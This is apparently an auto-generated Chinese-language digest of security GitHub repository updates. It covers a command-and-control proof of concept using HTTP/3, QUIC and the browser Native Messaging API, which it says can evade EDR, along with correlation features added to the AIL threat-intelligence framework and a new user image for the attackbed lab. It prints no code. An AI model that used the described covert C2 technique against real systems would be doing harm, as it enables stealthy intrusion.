使用HTTP/3和QUIC协议进行C2服务器的加密通信
🎯 受影响组件
• Windows OS
• Chrome/MSEdge Browser
• C2 webserver
⚡ 价值评估
展开查看详细评估
该仓库与C2关键词高度相关，且提供了一种利用Native Messaging API实现隐蔽C2的方法，可以绕过EDR检测，并具有实际的威胁。虽然是PoC，但提供了核心的技术实现和研究思路，具有较高的研究和应用价值。
AIL-framework - AIL框架新增CVE等关联分析
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | AIL-framework |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 4
- 变更文件数: 13
💡 分析概述
该仓库更新增强了AIL框架的信息关联能力，增加了CVE、加密货币等对象的关联，增强了对聊天记录、域名、消息等对象之间的关联分析，特别是CVE与聊天消息的关联，新增Onion模块,提升了对象处理能力。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 新增CVE、加密货币关联分析功能，增强信息关联能力 |
| 2 | 增强了对聊天记录、域名、消息等对象之间的关联分析，特别是CVE与聊天消息的关联 |
| 3 | 新增了Onion模块,增加对Tor网络信息的分析和提取能力 |
| 4 | 优化了reprocess工具，提升了对象处理能力 |
| 5 | 修复了未使用的Endpoint |
🛠️ 技术细节
增加了CVEModule和Cryptocurrencies模块，用于CVE信息和加密货币信息的分析和关联
修改了Crawler.py，加入了onion消息关联，加入了域名与聊天消息的关联
在Chat Viewer中增加了通过tags进行消息筛选的功能，增加了根据tags和日期的消息获取迭代器
对reprocess工具进行了优化，reprocess_message_objects函数增加了module_name参数，以实现对对象的重新处理
修改了correlations_engine.py，增加了对cryptocurrency，cve，decoded，domain，pgp等关联类型
新增了Onion模块,用于分析Tor网络中的信息
🎯 受影响组件
• AIL框架核心组件
• 聊天记录浏览模块
• 域名分析模块
• Onion模块
• CveModule
• Cryptocurrencies
⚡ 价值评估
展开查看详细评估
更新增强了AIL框架的信息关联能力，新增了CVE、加密货币等对象的关联分析功能，以及对Tor网络信息的提取能力，提升了框架的安全分析能力和情报收集能力
attackbed - 新增UserPC镜像及Squid代理
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | attackbed |
| 风险等级 | MEDIUM |
| 安全类型 | 安全功能 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 8
💡 分析概述
该更新主要构建了UserPC镜像，并配置了防火墙和Squid代理。UserPC镜像包含安全相关的配置和清理脚本，增加了模拟环境的复杂度和真实性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 增加了Squid Proxy配置，并配置了user网段。 |
| 2 | 构建了UserPC镜像，包括安装ssh、AECID用户、AECID工具，以及Mate桌面环境。 |
| 3 | 为UserPC镜像添加了清理脚本，用于清除敏感信息。 |
| 4 | 防火墙配置更新，添加了user网段，并修改了网络配置脚本。 |
🛠️ 技术细节
更新了Ansible的playbook，增加了Squid Proxy的配置，并指定了usernet网段。
创建了UserPC镜像，使用Ansible配置了ssh密码登录、安装了AECID用户和工具、安装了Mate桌面环境以及清理脚本。
UserPC的清理脚本会清理日志、bash历史记录、清空swap分区等操作，增强了模拟环境的安全性。
更新了防火墙配置，增加了user网段的配置。
🎯 受影响组件
• Firewall
• UserPC
• Squid Proxy
• Ansible
⚡ 价值评估
展开查看详细评估
该更新完善了攻击测试环境，增加了模拟的复杂性和安全性，包括UserPC的镜像构建以及清理脚本的添加，有助于进行更全面的安全评估和渗透测试。
免责声明
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